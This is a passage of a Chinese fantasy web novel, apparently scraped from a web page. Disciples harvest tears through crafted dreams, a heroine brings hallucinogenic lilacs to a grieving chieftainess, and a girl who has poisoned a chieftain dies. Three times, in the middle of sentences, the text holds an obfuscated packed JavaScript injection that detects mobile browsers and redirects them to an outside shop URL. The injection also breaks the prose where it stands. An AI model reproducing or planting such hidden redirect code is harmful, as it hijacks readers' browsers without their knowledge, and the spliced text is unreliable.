她在原地又坐着休息了一会儿,头晕的感觉逐渐消失。 她再次扶着石壁走了一段路,这次一直没有出现幻觉。 这下她可以确定了,就是紫丁香带来的幻觉,这样的花,看不出来任何好处,图雅要这个做什么? 来不及多想,天色已经很黑了,闻絮必须抓紧时间找到路。 她想起离人崖外的那片树林,有着新鲜牛粪的味道。 证明云牧川的牧民曾经带着牲口去过那里,如果可以找到那个味道,那就可以找到下山的路了。 闻絮再次闭上眼睛,睁着眼睛的时候,其他的感觉会被弱化。 而当闭上眼睛的时候,剩下的感官又会格外敏感。 闻絮放出灵力探测,空气中的味道五花八门就涌入了她的鼻尖。 有腥臭的甲壳虫的味道,雨中泥土的气息,还有山间野花的气息,另外还有淡淡的牛粪味。 确定好气息的方向,闻絮坚定了自己的步子,一步一步慢慢走着。 不过这次,是正确的方向,随着她步子的加快,空气里的牛粪味也愈发浓郁。 闻絮拿出身上带着的火匣子,借助微弱的灯光在即将彻底黑掉的天空下行走。 夜色黑得太快,闻絮还在山林里走着,她渐渐听到了鸟兽的声音。 又走了小半夜,她才彻底走下了离人崖。 她凭着在树林里做的记号,找到了在树林里拴着的马。 她原本以为一夜就可以下来,但昨夜因为下雨耽搁了。 可怜马儿在树林里淋了一夜的雨,又没什么吃食,地上仅有的草已经被光了,只剩下光秃秃的地面。 闻絮不由地心酸,她认真仔细地拂去马儿身上还没干透的雨水,擦拭着它的毛皮。 解开缰绳,马儿活动了几下已经僵硬的身体,闻絮摸了摸马儿的头。 她没有骑马,松垮地拉着缰绳向着图雅的部落回去。 “马儿,这两天辛苦你了,我带你回去找你原本的主人。虽然我不知道她需要紫丁香做什么,但既然是她的心愿,那就带给她。” 图雅还在自己的帐子里,不知道闻絮这边的进展。 她没有再管明舟一行人,只是在第二日晚上睡前随意地问了塔娜一句,“闻絮还没有回来吗?” 塔娜如实回答。 “已经第二天了,还没回来。她就是个傻子,我已经给了她地图,拿了就走就好了,还非要去摘紫丁香。哪里能做得到。” 塔娜也下意识回复道:“是啊,她不如草原的女子强壮,记得以前,还是妮娅才能……” 提到妮娅的名字,塔娜脸色一变,捂着嘴没有再说下去。 图雅脸上的表情没有什么变化,宽慰道:“没什么,妮娅以前确实很厉害,只有她才能爬上去,旁余的人是做不到的。” 说完,图雅露出一个温柔的笑容,但比哭还让塔娜难受。 “塔娜,你先出去吧,我想一个人坐一会儿。” 塔娜想说什么,但是欲言又止。 图雅坐在桌前,拿出笔墨,安静地画着画。 她画画很快,不多久一副场景图就在她笔下诞生。 背景还是云牧川,辽阔的草原之上,一个女子骑着马奔腾着,耳边还别着一株小巧别致的花。 画中的女子面容和她有八分相像,但仔细看,二人的嘴巴很不一样。 但最为相似的,还是两人的眼睛,笑起来的时候星光璀璨,如同价值连城的宝石。 图雅看着画静静坐了一会儿,又将画揉成一团,最后出去,将画扔进了火堆里面。 她默默一个人走进屋子,吹灭了烛火。 塔娜以为图雅睡着了,但夜里进去替图雅盖被子的时候,她看到了桌上又有一团揉皱的画纸。 图雅画了很多幅画,但没有一幅保留下来,不是被她撕毁了,就是扔进了篝火里面。 图雅的眼睛闭着,但塔娜知道,她根本没有睡着,但是她没有揭穿,只是把滑落的被子提起来,盖在图雅身上。 等到塔娜一走,图雅的眼睛就又睁开了。 她的心中还存着一丝幻想,还有一日,就到闻絮约定的时间了,她能如约带回紫丁香吗? 晚上睡不着的还有明舟几人,又等了一日,闻絮还是没有回来。 明舟有些坐不住,他想要出去找闻絮,被完颜丰和玉茵劝了回来。 “已经等了两日了,还差最后一日吗?要是你贸然出去了,师妹一会儿又回来了,还得让她再去找你。我们就在这里安心做好我们的任务,你忘了,我们的喜泪还没收集呢。” “是啊,明舟,明日中午前,要是闻絮再回不来,我们一起去找。” 明舟耐着性子等到天黑,这次三人一起出发,就省去了途中来回折腾的时间。 三人在昨日的林子里拴好马,完颜丰按照昨天的记忆进去,还是昨日那个马奴在,完颜丰一记手刀过去,马奴随即晕死过去。 怕他半夜醒来,完颜丰还喂他吃了一粒安眠丹,让他稳稳地睡去。 明舟和完颜丰合力把马奴抬到一旁,玉茵在他身上扑了些干草,又向他鞠了一躬,“罪过罪过。” “玉茵,别拜了,快过来躺下,一会儿就要被巡逻的人发现了。” 完颜丰已经带着明舟熟练地躺在马厩的干草垛下,小声地叫着玉茵,远处的火光传来,巡逻的人马上要过来了。 玉茵收回动作,迅速缩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“其实,其实,你记得吗?你曾经到过我师兄的帐子,他对你一见钟情,但自己不好意思来,我就替他来看看。” 完颜丰看玉茵久久没有出来,掀开一个小角,“玉茵,好了没有?” 桑金陡然听到完颜丰的声音,吓了一跳。 玉茵趁机用手肘顶了一下桑金的小腹,夺走了她的匕首。 黑暗中三人分站在不同的方位,看不清彼此的脸。 玉茵后撤了几步,碰到完颜丰的脚,“师兄,你这药不给力啊,她根本就没睡着。” 完颜丰有些惊讶,不应该啊,自己的药可是很厉害的。 “你等我再拿点出来啊。” 两人当着桑金的面就在密谋,桑金也在慢慢挪着自己的脚步,她挪到了侧边,想去拿架子上的刀。 黑暗中明舟不知道什么时候进来,一掌打晕了桑金。 明舟扶住桑金的身子,“师兄,别下药了,我已经把她打晕了。” 桑金身子小小的,又被放在床上。 玉茵对着桑金又鞠了一躬,刚刚肘击了她一下,实在是无奈之举,对不住了。 明舟拿出捕梦网,所以这次他编织了一个复杂的梦。 喜泪不常见,但是由悲转喜比较容易,所以他把昨夜的梦改造了一下,先让桑金看到妮娅去世的画面,再营造一个死而复生的画面,那时候新流出的泪,就是喜泪了。 放出梦丝前,明舟也对着桑金鞠了一躬,虽然很抱歉,但是不得不利用她对妮娅的感情。 梦丝很快起效,昏暗的烛火下,桑金发白的小脸上两排泪水流下。 完颜丰蹲在床前,擦掉这几滴悲伤的泪水。 他仔细看着桑金脸上表情的变化,看到桑金嘴角微微扬起了一丝弧度,她眼角此时恰好流出一滴泪,他稳稳收在了瓶子里。 确保收到喜泪,明舟立刻收回了梦丝,长期干扰他人的梦境,对于他和桑金都不是一件好事。 没时间耽搁,三人出了桑金的帐子,想要再去寻找其余的少女。 但马厩里那个被打晕的马奴不知道为什么提前醒了过来,他扶着迷迷糊糊的脑袋爬起来,刚好看到三人的身影。 “哎,你们是谁?在那里干什么?” “不好,他醒了,快跑!” 完颜丰打头,拉着玉茵,玉茵拽着明舟的衣角,三人飞也似的跑起来。 37. 明公子,求你赐我一个梦 马奴刚刚清醒,步子还有些虚浮,没有追得上三人的脚步。 完颜丰不敢停下脚步,边跑还在边思考,到底是哪里出了问题,难道昨日在雨中跑了一天,丹药泡水了,所以没用了吗? “师兄,快跑啊,一会儿他去禀报了蒙克,桑金一醒,我们马上就要被发现了。” 他们没有回头看,那个醒了的马奴,刚走了两步,又倒地昏昏沉沉地睡过去了。 天马上就要亮了,马儿被栓了半天,早就睡着了。 现在根本跑不动,驼着几人慢悠悠地走着,玉茵冷得打了一个寒战,刚刚跑了半天,身体已经热起来了,但还是挡不住草原的凉气。 她揉了揉眼睛,这几日她的作息已经完全乱了,感觉眼睛都有些模糊了。 她睁开眼睛,又看向前面的草原。 一个穿着银白色衣袍的女子牵着马正缓缓走过来,绑着头发的丝带已经散乱,在空中肆意随风舞动着。 “快看,是闻絮,闻絮回来了!” 闻絮走得并不快,她牵着马,有些单薄的身影在寒风中逐渐走近。 明舟看清了她的眉眼,发丝已经散乱,闻絮也没有管,任由它们飘零在眼前。 原本干净的衣衫上沾满了泥水,拉着缰绳的手上布满了大大小小的伤口,血迹在上面已经干涸。 那丝绸做的背心被山间的石壁刮扯得不像样,像天使被拉入了人间。 她原本冷漠的脸看到雾中的几人,展现了一个淡淡的笑容。 玉茵下马,高兴地向闻絮跑过去,擦着她脸上的泥土,“你终于回来啦,有没有受伤?” 闻絮摇摇头,“师姐,我是很厉害的,不会受伤的。” 明舟也翻身下马,替闻絮拉住了一旁马的缰绳,让闻絮可以和玉茵一起并排走着。 完颜丰倒是也想过去,这两个人把马都扔下了,自己只能在原地拉着缰绳。 要不然到时候马跑了,他们这几个人都只能用双脚跑了。 不用说跑了,每天半夜做这些偷鸡摸狗的事情,他不用跑就可以直接死了。 闻絮看着一旁拉着马的明舟,“你怎么不说话,也不问我拿到紫丁香了吗?” 明舟看着闻絮,“我知道你的,你这么不服输的性子,还不到最后的时间,拿不到你是不会回来的。” 闻絮笑笑,“是,拿回来了。” 玉茵拉着闻絮的胳膊,绘声绘色地讲着闻絮走后的事情。 她把如何摸进蒙克的部落,又潜入了那些男人的帐子,都一一讲出来。 最后还得意地展示着他们最近的成果,“桑金的悲泪和喜泪我们已经都拿到了。” 忽然玉茵有些丧气,“但是还没找到其他的少女,图雅那边已经完全不管我们了,我们也没法再接近图雅了。” 闻絮拍了拍玉茵的手,“也许,我有办法。” 明舟有些好奇:“是靠紫丁香吗?” 闻絮点点头,“对,紫丁香,但也赌人心,赌图雅的感情。” 蒙克那边很有可能已经发现他们在干的事情了,他不像图雅那么和善,这里也必须尽快离开了。 闻絮的嘴唇有些干裂,带着的水已经喝光,离人崖上的水她不敢喝,就一直忍到现在。 明舟递了自己的水壶过去,闻絮小小喝了一口,润了润嘴唇。 干裂的土地上得到了水源的浇灌,但第一时间不是解渴,而是痛。 闻絮想到了图雅,渴望了很久的紫丁香,在得到到的那一瞬,会先笑还是先哭呢? …… 图雅被塔娜的声音叫醒,塔娜的声音很是欣喜,“额真,闻絮回来了!” 图雅在不久前才刚迷糊着睡着,听到这个消息,也有些惊喜,“她回来了?” 塔娜进来帮着图雅穿衣服,“对,她和明舟一起回来了,我看的真切,她腰上背着的瓶子里放着紫丁香。” 闻絮和明舟先回到自己的屋子收拾了东西,把一身脏污的衣服换下来,重新换了一身衣服。 是那日图雅派人送来的多余的衣裙,有一身烟粉色的袍子。 “额真,他们来了。” 图雅听着塔娜的声音,正色回答道:“让他们进来吧,还有,你也先出去。” 闻絮穿着新的衣裙,腰上挎着一个瓶子,里面装满了摘回来的紫丁香。 图雅有一瞬间的失神,她看着闻絮从瓶子里将花拿出来,递在自己的眼前。 “紫丁香,我带回来了。” 图雅一言不发,接过紫丁香。 闻絮用了法力保存,紫丁香像是刚被采摘下来一样,依旧绽放着。 紫丁香有迷人心智的作用,图雅不会法力,没几秒钟她的眼前就出现了幻觉。 她看到妮娅死而复生,站在了自己眼前。 还是那样一套烟粉色的衣裙,就这么俏生生地站在自己面前。 图雅探出身子,拉着闻絮的手,抚摸着她手上的伤口,“疼不疼?” 闻絮放软了声音:“不疼。” 图雅的声音忽然顿了一下,委屈地说道:“我好想你,你还能站在这里,真好。” 闻絮抬起图雅的脸,她看着闻絮的眼神有些迷离,像是透过她在看什么人。 眼睛里的欣喜是藏不住的,随之而来的,是她眼底的泪光。 闻絮抬手,擦去这滴未落下的泪,带着热气的,喜悦的泪水。 这滴泪很快被她拿着的瓶子收起。 闻絮看着图雅,内心不忍,虽然紫丁香带回来了,但还是利用了这个单纯的姑娘。 “对不起。” 图雅忽然听到了什么令人窒息的话语,她崩溃地捂住头,“不,不,是我对不起你。” 她慢慢蹲下身子,最后坐在地上,看着地面,声音抽噎,“妮娅,是我错了,那天我不是有意刺激你的,我说的让你去死不是当真的。” 图雅痛苦地哭喊着,“那天,你就那么躺在床上,你拉着我的手,和我说对不起。我想说没关系的,其实我不恨你,但是我为什么就是没有说出口。” 地面上什么都没有,紫丁香带来的幻觉让她看到了死去的妮娅。 “妮娅,你告诉我说你好困,好想再看一次紫丁香,你别睡,紫丁香就在这里了。” 图雅拿起手里的紫丁香,对着地面两手捧出去。 但是紫丁香早已经在她的手里攥着,变成了残败的花儿。 闻絮蹲下来,从图雅的手中抽出只剩下光秃秃的花杆,“你想要的,从来不是紫丁香,是那个带着紫丁香的妮娅。” 闻絮一把将剩下的紫丁香扔进了火盆里,火焰吞噬着残枝败叶,也带走了图雅心中的妮娅。 塔娜心中担心,听到图雅的哭喊声,就急忙冲进来。 图雅失魂落魄地坐在地上,脚下是几片破碎的花瓣。 她听到闻絮的声音,“紫丁香是有毒的,能让人产生幻觉。我已经把离人崖上的紫丁香都烧光了,以后都不要再去了。” 帮图雅采摘紫丁香的任务已经结束,她们没有理由在这里继续呆着了。 图雅还沉浸在失去妮娅的悲伤当中,无瑕顾及。 帐子外却再次传来了吵闹的声音,不是完颜丰和玉茵。 门外的婆子进来通报:“额真,桑金又来了。” 闻絮以为又能看到桑金那张傲气的脸庞,但是走出帐子,却看到她和图雅一样失魂落魄的表情。 桑金眼神急切地寻找着,目光落在刚走出来的闻絮身上,她有一瞬间的失神,但是又在继续寻找着。 明舟紧跟在闻絮的身后,桑金看着他的脸,脸上终于多了一丝笑容。 她扑过来想要抓住明舟的衣服,但是明舟被闻絮抓着后撤了一步。 两人对于桑金都是戒备的眼神。 桑金有些无助地收回了手,“对不起,对不起,是我太冒失了。我只是想问问你,昨夜是不是你进了我的帐子?” 明舟听着桑金的问话,心中怀疑,难道她已经发现他们取走眼泪的事情了吗? 见明舟一时没有回答,桑金便有些着急,“我没有别的意思,之前偷你们的东西,是我不对,我可以给你们道歉。我也不问你们对我做了什么,左不过我也没有什么值得你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416427|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们要的,但是我想问你们求一样东西。” 明舟没有答应,他先出声问道:“我暂时不能答应,你先说,你想要的是什么?” 桑金期待地看着明舟,“我要的很简单,就是一个梦,一个有妮娅的梦。我知道你们可以做到的。” 桑金又上前两步,“我没有恶意的,就和你们再说两句话。” 桑金压低了声音继续说着,“你们一连来了两日,两日我都做了关于妮娅阿姐的梦,我知道肯定是你们做的。我求求你们,再赐我一个梦吧。” 桑金见明舟还是没有答应,一股脑直接跪在他的身前,拽着明舟的裤脚,神情恳切。 “明公子,我求求你,我只有这么一个小小的请求,你想要什么,只要我有的,我都可以给你。我没有的,就是去偷去抢,我都给你弄来。我实在是想妮娅阿姐,求你再赐给我一个梦,让我在梦里见见她,也是好的。” 明舟想要扶起桑金,桑金固执地跪着,虽然她人只有小小一个,但是力量现在却很庞大,绕是明舟用了很大的力气,都没有把她扶起来。 明舟只得蹲下身子,“前两天的事情对不住,如果你想要,今晚我可以再送你一个梦,但我希望你明白,梦也只是梦,梦醒了,就要回归现实。” 桑金连连点头,“我知道的,只要一个晚上,一个晚上就好。” 闻絮和明舟要走的计划暂时被耽搁,他们通知了完颜丰和玉茵,暂时先到桑金的帐子里去住一晚。 等答应桑金的承诺完成,他们几人再动身。 桑金被闻絮搀扶了一把,艰难起身,她看向图雅的帐子,问了一句,“图雅,她还好吗?” 闻絮只是如实回答,“你若是觉得她过得好,想必也不会问出这样的话,你若是觉得她过得不好,又何苦日日来这里给她添堵呢?” 桑金的头低下去,“我明白,怪不得她,只是除了她之外,我没有人可怪了。” 是啊,蒙克对桑金也如同亲妹妹一般,处处维护着,自然是不能怪到他的头上。 “你把妮娅当做姐姐,失去亲人的痛我也经历过,也能体会你的感觉。但妮娅也是图雅的妹妹,图雅的伤心不会比你少,不要再一直伤害图雅了。” 闻絮言尽于此,不再说话。 闻絮和明舟把桑金送回了蒙克的部落,两人则是在帐子外的草原上坐着。 蒙克对于两人的敌意依旧很大,虽然他不知道为什么桑金对于他们的态度改变了,但是自己不会掉以轻心。 蒙克面色凝重地盯着紧挨着坐着的二人,眉头紧皱。 身边的随从跟来,禀报图雅的状况。 蒙克心下又是一紧,“我知道了,你下去吧。” 离人崖险峻异常,自己和图雅都未能成功,眼前这个女人居然成功拿到了紫丁香,而且身上还没有明显的伤口,这其中一定不对。 他内心想着,图雅会被他们的外表迷惑,但是自己不会,这一群人肯定有问题。 蒙克派人盯着闻絮和明舟,自己去了桑金的帐子。 桑金一个人坐在自己的床上,手里拿着一对儿玛瑙耳坠。 她正在抚摸着上面的珠子,听到有人进来,急忙把耳坠收在手里。 她的动作很快,但还是被蒙克看到了。 “不用藏了,我已经看到了。” 桑金把耳坠放在一旁的桌子上,自己穿上鞋坐在床边。 “桑金,你告诉我,你怎么突然把这些中原人带回来了,还让他们住在你的帐子里?你要知道,如果他们图谋不轨,你就是最危险的。” “我不怕,而且他们就住一晚,今晚过后,他们就会走了,我的梦彻底就结束了。” 蒙克捕捉到他们明天就要走的消息,说服不了桑金,但是他还是派人守在了桑金的帐子外,桑金不能出一点意外。 蒙克猛地咳了两声,最近自己不知道怎么了,身体一直有恙,每天总会感觉头晕。 大概是去采紫丁香的时候受伤了吧,肩膀连带着腿骨都有点疼。 桑金端起一旁的奶酒递给蒙克,蒙克自然接过,喝了一大碗。 38. 你是图雅的朋友,你也去死! 晚上几人都一起聚在桑金的帐子里,桑金戴着白日那副妮娅的耳坠,她穿戴整齐,直直地躺在床上。 她闭上眼睛,双手放在肚子上,轻轻说了一句,“我准备好了,可以开始了。” 完颜丰已经喂她吃了一颗安眠丹,十秒之后,桑金的意识丧失,沉沉地睡过去。 明舟拿出捕梦网,放出一缕金色的梦丝,梦丝进入桑金的额头,随后消失。 桑金在梦里见到了妮娅,开心地笑了起来。 明舟数着时间,等到梦境快结束的时候,慢慢抽回了梦丝。 但桑金并没有立马醒来,她的眼睛沉沉地闭着。 玉茵有些担心,“梦丝已经抽回去了,她怎么还没醒啊?” 完颜丰过去撩起桑金的衣袖,摸了摸她的脉,一切正常,没有什么不妥。 “没事,应该是安眠丸的药效还没过,再等一会儿吧。” 几人又等了一会儿,桑金的眼皮转动了一下,缓缓转醒。 她做了一个短暂而又快乐的梦。 她看着头顶的羊皮顶,等待了几秒,随后坐起身子。 她看向明舟,眼里满是感谢,“谢谢你。不过,你是什么人,为什么可以造梦?你们难道是修仙者?” 桑金的眼神逐渐恢复清明,没有沉浸在刚刚的梦境之中。 完颜丰笑了笑,“你求明舟赐你一个梦,说好了不多问,这些你知道了也没有用。” 桑金笑了笑,“你们马上就要走吗?要不要再多住一些时日?” 明舟摇了摇头,“不了,你既然已经醒了,我们即刻就要启程。” 桑金淡淡的脸上忽然露出一个诡异的微笑,“我想通了,妮娅姐姐的死和图雅姐姐没有关系,图雅姐姐对我这么好,我不应该一直记恨她。我想去见见图雅姐姐,和她当面道歉,你们可以带我去吗?” “你既然想去道歉,那就让蒙克带你去,你如果成心想道歉,就选一个合适的时间。现在已经深夜,图雅已经休息了。” 桑金听到闻絮肯定的语气,有些失落。 她起身握着闻絮的手,“闻絮姐姐要不要也再休息一晚,你们夜间行路,未免不太安全。” 闻絮握着她的胳膊,桑金胳膊里的袖箭没有来得及发出去,被闻絮死死按住。 闻絮的手劲很大,桑金感觉自己的骨头要被捏碎了。 明舟看出两人之间的不对劲,掀开桑金的袖子,拔出她藏着的袖箭。 闻絮冷声开口,“你想杀我?” 桑金微笑,“闻絮姐姐,你弄疼我了,我怎么会想杀你呢?我那袖箭一直在身上带着,防身而已。” 别人不清楚,闻絮是最为清楚的。 她是相修,虽然她没不算什么高级的相修,看不出别人的生死危相,但是自己的还是可以的。 在离人崖上,她被幻境所迷惑的时候,险些掉下山壁的时候,她能感受到自己周身的气息骤变。 还有就是刚刚,桑金靠近她的时候,自己周围的气息也变了。 玉茵站在身边,看着桑金这副油嘴滑舌的样子,心生厌恶,“你这个不要脸的小偷,偷我们东西也就罢了,还想要伤人性命。妮娅要是知道你是这副样子,怕是早就后悔捡你回来了。” 听到妮娅的名字,桑金有些应激,“你懂什么?你不配提她的名字。” 桑金情绪有些激动,闻絮拿着丝带捆住了她的手和脚,让她不能动弹。 她愤恨地看向闻絮,“图雅就是个杀人凶手,你怎么可以一直站在她这边!我听说你还去摘了紫丁香,离人崖危险重重,你说去就去了,怎么,你不是和蒙克一样,为了图雅连命都不要了,现在又在怕什么?” 明舟反驳道:“妮娅分明是难产死的,你为什么一直纠结在图雅身上?” 桑金冷哼一声,“你们根本不了解图雅,妮娅是受了惊吓才难产的。” 桑金回忆起了过往,妮娅和蒙克成婚以后,日子还算顺利,蒙克对妮娅很好。 但是妮娅终日郁郁寡欢,她觉得是她毁了图雅的爱情。 她始终渴望图雅的原谅,但图雅一直不肯见她。 终于,在妮娅生日的那天,图雅派人送了礼物给妮娅。 妮娅喜出望外,挺着肚子去见图雅。 桑金不放心,就跟着一起去了。 两人说话的时候,桑金就在帐子外面等着。 她耳朵靠着帐子的外壁,想要听到二人的谈话。 二人的声音起初很小,但是后面声音越来越大,还有摔东西的声音。 随后就是妮娅哭泣的声音,桑金听到图雅的叫喊声,“是啊,你们都该死,你怎么不去死呢!” 妮娅崩溃地瘫坐在地上,大口地喘着粗气。 桑金急忙进去扶着妮娅,她想要和图雅争辩几句,但是被妮娅拦住。 “桑金,我们走吧,是我不好,又惹姐姐生气了。” 桑金扶着妮娅回去,妮娅的身子已经不能骑马,只能坐着车回去。 妮娅回去以后一言不发,桑金为了讨妮娅的欢心,提出要为她做青稞饼。 桑金为了让妮娅吃到新鲜的饼,去了很远的地方去采青稞。 路上马儿的蹄铁烂了,因此耽误了很长时间。 等到她带着青稞回去的时候,却只听到了妮娅难产的消息。 青稞掉了一地,她急忙冲进帐子,只看到妮娅垂落在床边的手。 蒙克和图雅坐在床边,蒙克居然抱着图雅! 图雅脸上没什么表情,她居然一滴泪都没有流! 图雅在旁边忽然晕了过去,蒙克就抱着图雅出去找巫医。 只剩下无助的桑金,她摸着妮娅的手,再得不到一句回复。 “要不是图雅的话,妮娅怎么会受了惊吓,难产早亡?” “要不是蒙克这个恶心的男人,她怎么会背负这样的屈辱?” “你看看,好一对狼心狗肺的狗男女,妮娅死了,他们心里不知道得有多开心。你们不知道吧,妮娅才死了一年,蒙克就想把图雅娶回来,但是想都不要想,只要我活着,他们永远不要想在一起。” “既然这样,不如一起下地狱,都给妮娅陪葬好了。” 桑金眼睛通红,指着闻絮,“妮娅不让我动图雅,我可以听她的,但我也不会让她好过。你帮了她,你也不许好过!” 闻絮听着她的话,品出了一丝不对劲,她原本以为桑金对于蒙克的态度要比图雅好一点。 现在看来,她对于蒙克比图雅的厌恶还要更深。 说得也对,要不是蒙克,也不会有后面的事情发生。 一起下地狱?这是什么意思? 闻絮猛地反应过来,“你对他做了什么?” 桑金大笑着,露出洁白的牙齿,“想知道吗?我偏不告诉你。” “不好,快先去看看蒙克。” 蒙克的帐子在另一边,黑暗中完颜丰借着篝火找到了几个守卫守着的帐子。 几个守卫拿着砍刀,不让完颜丰靠近。 完颜丰没办法,在帐子外面大声喊着,“喂,蒙克,蒙克,你醒醒啊!” 完颜丰嗓门很大,但是蒙克的帐子没有反应,反倒是周遭一圈帐子点起了灯。 不少男男女女披了外衣出来看发生了什么。 守卫愠怒,“看在你是桑金的客人面子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416428|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上才不对你动手,还敢一再挑衅!” 完颜丰无语,“大哥,你快进去看看你们额真,这么多人都醒了,睡得这么死一点声音都听不到他难道是猪吗?” 一个守卫也察觉不对,在门口喊了一声,没人回应。 他掀开帘子进去,冒着被责骂的风险点起了酥油灯。 灯下蒙克紧闭着眼睛,嘴唇发紫,已经昏迷了。 守卫晃动着他的胳膊,“额真,额真,你怎么了?” 蒙克一直晕厥,没有回答。 守卫急忙出去,叫了部落里的巫医来看。 周围乱作一团,完颜丰趁机溜了进去,闻絮在外面帮他挡住阻拦的人,蒙克这副样子一看就是中毒了。 想起白日里蒙克那副看着他们不善的样子,完颜丰看着他也十分不顺眼。 这种喝了酒就管不住下半身的男人,死了不正好了,也省得他浪费丹药救了。 但是来都来了,给他看看也罢。 完颜丰摸着蒙克的手腕,眉头渐渐蹙起。 蒙克中了毒没错,但他的脉相显示是慢性毒药,毒药已经深入骨髓。 他又撩起蒙克肚子上的衣服,他的肚子微微向上彭起,按压下去如同一团柔韧的面团。 他的内脏也已经损伤了。 毒药绝对不是最近才下的,只有积年累月的毒药才能做到这种程度。 巫医带着药箱急忙冲进来,他先扒开蒙克的眼皮看了看,瞳孔已经缩小了。 蒙克原先古铜色的皮肤现在有些苍白,摸着也有些冰凉。 巫医当机立断,拿出银针,几个守卫过来帮忙解开衣服。 蒙克的四肢和头上逐渐被扎满了银针,巫医擦了擦头上的汗,“这也只能暂时先保住体温,不让毒继续扩散,只是当下不知道额真到底中了什么毒。” 完颜丰看着巫医的手法还算老练,针法也确实能暂时保住蒙克的命,但是熬得过今晚,明早就不好说了。 他在一旁搭腔道:“看样子中毒已经很久了,不是一日下毒就能成的,看来这额真身边人也不可信了。” 蒙克身边一直跟着一个叫吉拉的男人,他停了这话若有所思。 能给蒙克下慢性毒药,而且一直不被发现的,只有桑金了。 蒙克所有的吃食基本都会被检测,但是桑金经常不通报就进入蒙克的帐子。 她在名义上算是蒙克的小姨子,妮娅死后,蒙克考虑到她和图雅的关系不好,也没有送她回去,还让她继续住在自己的部落里。 吉拉怒不可遏,当即去了桑金的帐子,玉茵和明舟还在守着桑金。 桑金的手脚被绑,不论怎么问,都不肯说出她对图雅和蒙克做了什么。 吉拉也不管其余几人在,当前保住蒙克的命才是最要紧的。 他揪住桑金的衣领,抬手就是重重的一巴掌,“说,你对额真下了什么毒?” 桑金当即嘴角就渗出血丝,脸颊也红红地肿了起来。 明舟和玉茵只能看着不让桑金逃跑,现在涉及到部落内部纠纷,他们也不好直接插手。 “你帮我解开绳子,带我过去,我就告诉你。” 吉拉扛起桑金就出了帐子,明舟和玉茵两人也紧随其后。 吉拉一把将桑金摔在地上,“你这个天生的贱骨头,额真对你这么好,你居然还下毒害他,贱货!” 桑金对着地上吐了一口血,“你先等他醒了再说吧。” 吉拉的砍刀放在桑金的脖子上,“你年纪还小,我给你一个机会,说出来你下的是什么毒,饶你不死。” 桑金也是下了死的决心,“你先放开我,不然我不会告诉你的。” 39. 人没了念想,是活不下去的 闻絮拉了拉完颜丰的袖子,示意他退后。 完颜丰跟着闻絮悄悄退出人群,大家注意都在桑金身上,一时注意不到他们。 玉茵和明舟还在帐外,帘子被掀起,他们透过人群可以看到里面的情景。 闻絮站在他们身边,完颜丰问她:“师妹,什么意思,不管了吗?” 闻絮点头,“对,不管了。” “为什么?” “今天里面的两个人,都活不下来,师兄,你更清楚,不是吗?” 完颜丰笑了笑,是的,他从一开始就没想要救蒙克。 他和闻絮去蒙克的帐子把事情闹大,完全是为了让众人抓到桑金。 蒙克是该死,桑金也不无辜。 吉拉没有办法,如果可以,他想现在就一刀砍了桑金。 但是不行,蒙克的命还在她的手里。 吉拉不情不愿,粗暴地解开了绑着桑金的丝带。 桑金锋利的牙齿如同野兽,狠狠咬上了吉拉的手腕。 吉拉踢了桑金一脚,桑金扑在床边。 她抢过一旁守卫的短刀,一刀刺在蒙克的大腿上。 吉拉顾不上手背的疼痛,过去护着蒙克。 蒙克的身下开始渗血,但是他没有出声,也没有反应,像一具只会流血的尸体。 “吉拉,你还没看清吗?他现在已经和一个活死人一样了,救不活了。” 吉拉揪住桑金的领子,又是一巴掌上去,“你快说,你到底下了什么毒?” 桑金没说话,她的嘴里却在吞咽着什么东西。 “你在吃什么?” 吉拉想要从桑金的嘴里抠出东西来,但是桑金动作更快,已经将东西全都吞进去了。 她梗着脖子,“想知道吗?下辈子再来问吧。” “不好,她吞了银子。” 巫医看出有什么东西卡在她的咽喉处,却又在她的挣扎下消失,进入她的胃里。 巫医拉下吉拉还要继续打桑金的动作,“不要再打了,她不能说话了,已经活不了了。” 又有几个巫医进来,几人商量着,面露焦急。 桑金像一个破败的垃圾一样,躺在地上。 她用手抠着地板,一步一步爬出去,指甲都已经劈裂,全是血痕。 她动作很慢,挪了很久才出去。 她想回到自己的帐子,但是在半路就支撑不住,闭上了眼睛。 随后不久,闻絮又看到巫医摇头叹气的模样,“准备后事吧。” 吉拉顾不得哭泣,派人去请图雅。 蒙克还有一口气,他趴在蒙克嘴边,听到他低声的呼唤。 完颜丰看着闻絮还站在原地,问她,“师妹,不是说不管了吗?怎么还不走?” “再等等。” 闻絮在等图雅。 寒风又吹了一阵,图雅骑着一匹烈马匆匆赶来。 她一眼就看到躺在地上的桑金,有些不可思议,“她,怎么了?” 吉拉拉着图雅往帐子里走,“已经死了,别管了,快,额真马上要不行了。” 图雅被拉着向前走,眼神还停留在桑金小小的身体上。 进了帐子,蒙克躺在床上,嘴唇的颜色更加青紫。 